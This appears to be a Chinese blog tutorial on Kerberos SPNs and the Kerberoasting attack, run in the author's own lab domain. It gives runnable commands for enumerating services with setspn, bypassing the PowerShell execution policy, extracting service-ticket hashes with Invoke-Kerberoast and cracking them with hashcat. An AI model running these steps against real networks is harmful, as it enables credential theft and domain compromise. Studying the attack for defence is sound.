SPN与kerberosting攻击

1. 前言

SPN是域内一个服务的唯一标示名称。SPN类型分为两种:

  1. 一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
  2. 另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

SPN格式为serviceclass/host:port/servicename

  • serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
  • host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
  • 如果服务运行在默认端口上,则端口号(port)可以省略

2. 利用思路

  1. 可以用来探测域内有哪些服务,分别开在了哪些服务器上,以哪些账号或者说权限去开通的。
  2. kerberosting攻击,获取对应服务的TGS-REP响应数据,并进行破解。

3. 实际利用

3.1 探测内网服务

setspn -T test.com -F -Q */*
在这里插入图片描述
这个操作是可以在域内任意主机上执行的,不需要多高的权限。因为我的虚拟机上没有开多少服务,这边给大家另外一张图片作为参考:
在这里插入图片描述
开启了一个http服务,这个服务器的主机是csk-github。

3.2 kerberosting

我们使用一种不基于mimikatz的kerberosting攻击,且这种方式不需要高权限,这是看三好学生的博客学到的,地址是域渗透——Kerberoasting
首先将Invoke-Kerberoast.ps1下载到目标主机并且import到powershell里面,然后再用hashcat工具对hash进行破解。
具体操作如下:

Set-ExecutionPolicy Bypass -Scope Process #规避执行策略
. .\Invoke-Kerberoast.ps1 # 加载模块
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl #取出账号有关的所有参数,-AdminCount表示选择高权限的用户
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation # 只取出hash参数
hashcat -m 13100 hash_path password_hash -o found.txt --force #破解hash并将结果输出到found.txt中

1.使用票据来破解密码:

先使用脚本获取到一张tgs,然后用mimikatz导出票据,最后使用tgsrepcrack.py脚本爆破。如下图,密码为123.
在这里插入图片描述

2.使用hash来破解密码:

powershell -exec bypass "Import-Module C:\Users\zhangsan.TEST\Desktop\tools\invoke-kerberoast.ps1;Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
hashcat -O -m 13100 hash.txt 1.txt -o 123.txt --force --self-test-disable

在这里插入图片描述

将上面的hash复制到文件中,用hashcat破解:

hashcat -O -m 13100 hash.txt 1.txt -o 123.txt --force --self-test-disable

在这里插入图片描述
如上图最后一行,密码为123,也可以在123.txt中的最后一行看:
在这里插入图片描述

参考文章

域渗透:SPN和Kerberoast攻击
域渗透——Kerberoasting

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值